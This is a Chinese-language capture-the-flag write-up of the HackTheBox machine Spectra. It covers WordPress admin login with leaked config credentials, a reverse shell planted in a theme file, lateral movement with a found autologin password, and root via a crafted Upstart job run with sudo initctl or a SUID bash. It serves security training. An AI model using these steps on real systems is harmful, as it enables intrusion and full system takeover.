Spectra-Writeup

概述 (Overview)

81874669.png

时间:2021-07-08
机器作者: egre55
困难程度:easy
描述: PHP站,考察信息收集后的漏洞复现能力。最后通过滥用的SUDO配置,进一步进行权限提升操作。
Flags: User: <md5>,Root: <md5>
INFORMATION:

  • Web
  • PHP
  • File Misconfiguration
  • Environment Misconfiguration
  • CMS Exploit

攻击链 (Kiillchain)

通过查看 Nmap 识别出来的 HTTP 服务,确定了目标域名和部署的脚本类型。随后在目录枚举中站点开发遗留文件 config.php.save,通过组合残留文件中的密码,成功登录上了 WordPress 后台管理页面,通过编辑样式文件成功写入WebShell,得到了 Nginx 身份的 bashshell。
通过执行 linpeas 进一步获取目标服务器上的信息,发现一个 autologin.conf 文件,在该文件中找到了一组新的密码,使用该密码成功横移至 katie 用户。在该用户下执行 sudo -l, 发现可以 root 身份运行 initctl,通过编写 job 脚本成功获取 root flag。

TTPs (Tactics, Techniques & Procedures)

  • nmap
  • dirsearch
  • LinPEAS
  • crackmapexec

枚举(Enumeration)

开局还是简单的通过 nmap 对目标服务器进行扫描,识别开发端口和服务:

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.1 (protocol 2.0)
| ssh-hostkey: 
|_  4096 52:47:de:5c:37:4f:29:0e:8e:1d:88:6e:f9:23:4d:5a (RSA)
80/tcp   open  http    nginx 1.17.4
|_http-server-header: nginx/1.17.4
|_http-title: Site doesn't have a title (text/html).
3306/tcp open  mysql   MySQL (unauthorized)
|_ssl-cert: ERROR: Script execution failed (use -d to debug)
|_ssl-date: ERROR: Script execution failed (use -d to debug)
|_sslv2: ERROR: Script execution failed (use -d to debug)
|_tls-alpn: ERROR: Script execution failed (use -d to debug)
|_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)

存在 Web 服务,在源代码中发现站点域名, 根据访问路径后缀名获知是PHP站。这行信息组合起来这题的架构大概就是 LNMP 或 WNMP 了。

52492276.png

修改 /etc/hosts 后,查看 testing/index.php 路径显示:Error establishing a database connection,查看 main/index.php 显示 Blog 页面。

53196393.png

在页尾处获悉到站点指纹,使用 WordPress 部署的。尝试使用 wpscan 工具对站点进行扫描:
wpscan --url http://spectra.htb/main/

并没有发现明显的利用点,尝试进行目录枚举:
55948703.png

立足点(Foothold)

扫出一个可疑的 wp-config.php.save 文件,浏览器查看:
55968606.png

里面存在一组账号密码:

define( 'DB_NAME', 'dev' );
/** MySQL database username */
define( 'DB_USER', 'devtest' );
/** MySQL database password */
define( 'DB_PASSWORD', 'devteam01' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );
/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

使用 administrator:devteam01 成功登录后台:

57170645.png

wordpress 后台中,是可以通过编辑模板文件来写入Webshell的。

在主题编辑中 http://spectra.htb/main/wp-admin/theme-editor.php404.php 文件,编辑该文件写入shell。
http://spectra.htb/main/wp-admin/theme-editor.php?file=404.php&theme=twentytwenty
57471509.png

使用在我博客搭的在线工具 https://jgeek.cn/shells/, 复制PHP反链Shell的代码,编辑到文件中并保存:

58732277.png

使用 http 访问主题下的 404.php 成功获得一个会话shell:

58756130.png

横向移动(Lateral Movement)

首先查看下 /home 目录,存在 chronoskatienginxrootuser,当前会话是 nginx 用户,在 katie 用户目录下发现 user.txt ,暂时没有权限查看。

68677494.png

通过执行 $ nginx -t 获得 nginx 配置文件路径:
59593526.png

在配置文件中获悉 Web 站点部署在 /usr/local/share/nginx/html 目录,在配置文件中获取MYSQL数据库连接账号密码:

/** The name of the database for WordPress */
define( 'DB_NAME', 'dev' );
/** MySQL database username */
define( 'DB_USER', 'dev' );
/** MySQL database password */
define( 'DB_PASSWORD', 'development01' );

在系统根目录发现有一个 developers 组创建的 /srv 文件夹:

59871875.png
/srv 文件夹中发现 node.js 脚本,内容为启动 http 服务绑定端口为 8081(本地监听):
59919279.png
将 linpeas 传递至服务器,进一步对信息进行收集:
68871486.png
69169471.png

发现一个可疑的 autologin.conf 文件,查看一下内容 cat /etc/init/autologin.conf

# Copyright 2016 The Chromium OS Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be                                                                                                         
# found in the LICENSE file.                                                                                                                                                     
description   "Automatic login at boot"                                                                                                                                          
author        "chromium-os-dev@chromium.org"                                                                                                                                     
# After boot-complete starts, the login prompt is visible and is accepting                                                                                                       
# input.                                                                                                                                                                         
start on started boot-complete                                                                                                                                                   
script                                                                                                                                                                           
  passwd=                                                                                                                                                                        
  # Read password from file. The file may optionally end with a newline.                                                                                                         
  for dir in /mnt/stateful_partition/etc/autologin /etc/autologin; do
    if [ -e "${dir}/passwd" ]; then
      passwd="$(cat "${dir}/passwd")"
      break
    fi
  done
  if [ -z "${passwd}" ]; then
    exit 0
  fi
  # Inject keys into the login prompt.
  #
  # For this to work, you must have already created an account on the device.
  # Otherwise, no login prompt appears at boot and the injected keys do the
  # wrong thing.
  /usr/local/sbin/inject-keys.py -s "${passwd}" -k enter
end script

从脚配置中看到,会在 /mnt/stateful_partition/etc/autologin/etc/autologin 目录中读取passwd文件中的密码。

62305561.png

成功在 /etc/autologin/passwd 中发现新的密码:SummerHereWeCome!!

使用目前收集到的用户名和密码信息,进行ssh登录爆破:

69767858.png

$ sshpass -p 'SummerHereWeCome!!' ssh katie@10.10.10.229

成功登录katie用户拿到 user flag。

权限提升(Privilege Escalation)

在 katie 用户下继续运行 linpeas 进行信息收集,发现 sudo -l下有对 initctl 的配置:
70962355.png

initctl - init 守护进程控制工具,允许系统管理员与 Upstart init 守护进程通信和交互。

katie@spectra /tmp $ sudo /sbin/initctl help  
Job commands:
  start                       Start job.
  stop                        Stop job.
  restart                     Restart job.
  reload                      Send HUP signal to job.
  status                      Query status of job.
  list                        List known jobs.

Event commands:
  emit                        Emit an event.

Other commands:
  reload-configuration        Reload the configuration of the init daemon.
  version                     Request the version of the init daemon.
  log-priority                Change the minimum priority of log messages from the init daemon
  show-config                 Show emits, start on and stop on details for job configurations.
  help                        display list of commands

For more information on a command, try `initctl COMMAND --help'.

/etc/init 中可以找到对自启动服务的配置信息,但需要具有 developers 组的身份才能编辑。

79926978.png
查下组配置,目前我们的用户包含在 developers 组中。
80040720.png

OK,我们现在只需要写一个配置然后用 sudo initctl 去启动运行即可。

#!/bin/bash 
echo -e "description \"Test node.js server\"\nauthor      "katie"\n \nstart on filesystem or runlevel [2345]\nstop on shutdown\n \nscript\n \n    exec cat /root/root.txt > /tmp/root.txt\n \nend script\n" >  /etc/init/test.conf

这里我直接获取 root flag 即可, 然后重新加载下配置在启动同名的 test 服务。

sudo /sbin/initctl reload-configuration 
sudo /sbin/initctl list 
sudo /sbin/initctl start test

可以看到,成功获取到了 root flag。
81948889.png

随后将 exec 后面的内容改成 bash /tmp/test.sh 运行就可以拿到 root shell:

82510385.png

复盘时看到还有一个更加简单的办法, script 里面直接给 /bin/bash 设置SUID权限也就是 chmod +s /bin/bash,然后执行 /bin/bash -p,瞬间拥有root shell。

2118932.png

参考